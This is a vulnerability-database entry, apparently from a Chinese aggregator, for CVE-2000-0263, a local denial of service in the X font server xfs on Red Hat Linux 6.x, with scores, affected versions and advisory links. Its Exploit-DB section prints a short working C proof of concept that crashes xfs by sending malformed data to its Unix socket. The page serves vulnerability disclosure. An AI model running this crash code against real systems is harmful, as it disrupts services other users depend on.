CVE-2000-0263
CVSS2.1
发布时间 :2000-04-16 00:00:00
修订时间 :2008-09-10 15:03:47
NMCOES    

[原文]The X font server xfs in Red Hat Linux 6.x allows an attacker to cause a denial of service via a malformed request.


[CNNVD]Red Hat Linux X font server xfs漏洞(CNNVD-200004-038)

        Red Hat Linux 6.x中的X font server xfs存在漏洞,攻击者可以通过异常请求触发拒绝服务。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:redhat:linux:6.2::alpha
cpe:/o:redhat:linux:6.1::sparc
cpe:/o:redhat:linux:6.2::sparc
cpe:/o:redhat:linux:6.1::i386
cpe:/o:redhat:linux:6.0::sparc
cpe:/o:redhat:linux:6.0::i386
cpe:/o:redhat:linux:6.0::alpha
cpe:/o:redhat:linux:6.1::alpha
cpe:/o:redhat:linux:6.2::i386

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0263
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0263
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200004-038
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1111
(VENDOR_ADVISORY)  BID  1111
http://archives.neohapsis.com/archives/bugtraq/2000-04/0079.html
(VENDOR_ADVISORY)  BUGTRAQ  20000416 xfs

- 漏洞信息

Red Hat Linux X font server xfs漏洞
低危 未知
2000-04-16 00:00:00 2010-12-02 00:00:00
本地  
        Red Hat Linux 6.x中的X font server xfs存在漏洞,攻击者可以通过异常请求触发拒绝服务。

- 公告与补丁

        

- 漏洞信息 (19850)

RedHat Linux 6.x X Font Server DoS and Buffer Overflow Vulnerabilities (EDBID:19850)
linux local
2000-04-16 Verified
0 Michal Zalewski
N/A [点击下载]
source: http://www.securityfocus.com/bid/1111/info

A denial of service exists in the X11 font server shipped with RedHat Linux 6.x. Due to improper input validation, it is possible for any user to crash the X fontserver. This will prevent the X server from functioning properly.

Additional, similar problems exist in the stock xfs. Users can crash the font server remotely, and potential exists for buffer overruns. The crux of the problem stems from the font server being lax about verifying network input. While no exploits exist, it is likely they are available in private circles, and can result in remote root compromise. 

#include <sys/socket.h>                                      
#include <sys/un.h>

#define CNT 50
#define FS "/tmp/.font-unix/fs-1"

int s,y;
struct sockaddr_un x;

char buf[CNT];

main() {
  for (y;y<2;y++) {
    s=socket(PF_UNIX,SOCK_STREAM,0);
    x.sun_family=AF_UNIX;
    strcpy(x.sun_path,FS);
    if (connect(s,&x,sizeof(x))) { perror(FS); exit(1); }
    if (!y) write(s,"lK",2);
    memset(buf,'A',CNT);
    write(s,buf,CNT);
    shutdown(s,2);
    close(s);
  } 
}   

		

- 漏洞信息

1285
Multiple Vendor X Font Server Local Overflow DoS
Local Access Required Denial of Service
Loss of Availability Solution Unknown
Exploit Public Third-party Verified, Uncoordinated Disclosure

- 漏洞描述

- 时间线

2000-04-16 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Multiple Vendor X Font Server DoS and Buffer Overflow Vulnerabilities
Boundary Condition Error 1111
No Yes
2000-04-16 12:00:00 2009-07-11 01:56:00
This vulnerability was posted to the Bugtraq mailing list on April 16, 2000 by Michal Zalewski <lcamtuf@tpi.pl>

- 受影响的程序版本

RedHat Linux 6.2 sparc
RedHat Linux 6.2 i386
RedHat Linux 6.2 alpha
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
RedHat Linux 6.0 sparc
RedHat Linux 6.0 alpha
RedHat Linux 6.0

- 漏洞讨论

A denial of service exists in the X11 font server shipped with RedHat Linux 6.x. Due to improper input validation, it is possible for any user to crash the X fontserver. This will prevent the X server from functioning properly.

Additional, similar problems exist in the stock xfs. Users can crash the font server remotely, and potential exists for buffer overruns. The crux of the problem stems from the font server being lax about verifying network input. While no exploits exist, it is likely they are available in private circles, and can result in remote root compromise.

- 漏洞利用

An exploit has been made available.

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

     

     

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